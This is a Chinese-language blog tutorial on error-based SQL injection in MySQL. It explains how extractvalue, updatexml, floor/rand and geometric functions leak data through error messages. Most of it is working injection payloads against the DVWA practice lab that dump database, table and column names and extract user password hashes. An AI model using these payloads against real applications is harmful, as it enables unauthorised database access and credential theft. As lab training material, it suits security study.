sqli-报错注入

报错注入是什么

利用将错误信息显示的函数(语句),把注入的结果通过错误信息回显回来
构造payload让信息通过错误提示回显出来

适用场景及条件

查询信息不回显;盲注太慢

  1. 服务端开启错误提示且能回显错误信息。比如PHP的display_errors为1,未用@抑制报错信息

报错函数及其原理

  1. floor()

    group by 对rand()函数进行操作时产生错误。
    select count(*) from information_schema.tables group by concat((select user()),floor(rand(0)*2))

concat连接字符串
floor取float的整数值
rand取0~1之间随机浮点值
group by根据一个或多个列对结果集进行分组并有排序功能

  1. extractvalue()
extractvalue() :对XML文档进行查询的函数
其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样
语法:extractvalue(目标xml文档,xml路径)

XPATH语法错误产生报错。extractvalu的第⼆个参数要求是xpath格式字符串,如果是非法格式就会报错,并将非法格式内容返回。
select extractvalue(1,concat(0x7e,(select user()),0x7e))
3. updatexml()

updatexml()函数与extractvalue()类似,是更新xml文档的函数。
语法updatexml(目标xml文档,xml路径,更新的内容)

XPATH语法错误产生报错,同上。
select updatexml(1,concat(0x7e,(select user()),0x7e),1)

补充

  1. geometrycollection()
    select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
  2. multipoint()
    select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
  3. polygon()
    select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
  4. multipolygon()
    select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
  5. linestring()
    select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
  6. multilinestring()
    select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
  7. exp()
    select * from test where id=1 and exp(~(select * from(select user())a));

演示

dvwa

为什么用0x7e?因为0x7e是”~”的十六进制编码,用来分割显示结果,'#'同理
报错函数返回信息长度有32位限制,可用substring或substr截取显示

  1. extractvalue()
    concat连接的字符串中第一位必须是非xpath的值,才能满足extractvalue第二个参数是非法格式
  • 查库
    1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))#
  • 查表
    1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),0x7e))#
  • 查字段
    1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e))#

    有32位字数限制,使用substring截取后半段
    1' and extractvalue(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),20,30),0x7e))#
  • 查password字段值
    1' and (extractvalue(1,concat(0x7e,(select * from (select password from users limit 0,1) as a))))#

    字数限制
    1' and (extractvalue(1,concat((select * from (select password from users limit 0,1) as a))))#

  1. updatexml()
  • 查库
    1' and (updatexml(1,concat('#',(database())),0))#
  • 查表
    1' and (updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='dvwa')),0))#
  • 查字段
    1' and (updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')),0))#

    字数限制,使用substring截取后半段
    1' and (updatexml(1,concat('#',substring((select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),20,30)),0))#
  • 查字段值
    1' and (updatexml(1,concat('#',(select * from (select password from users limit 0,1) as a)),0))#

    1' and (updatexml(1,concat((select * from (select password from users limit 0,1) as a),'#'),0))#
原文地址:https://www.cnblogs.com/Rain99-/p/13226556.html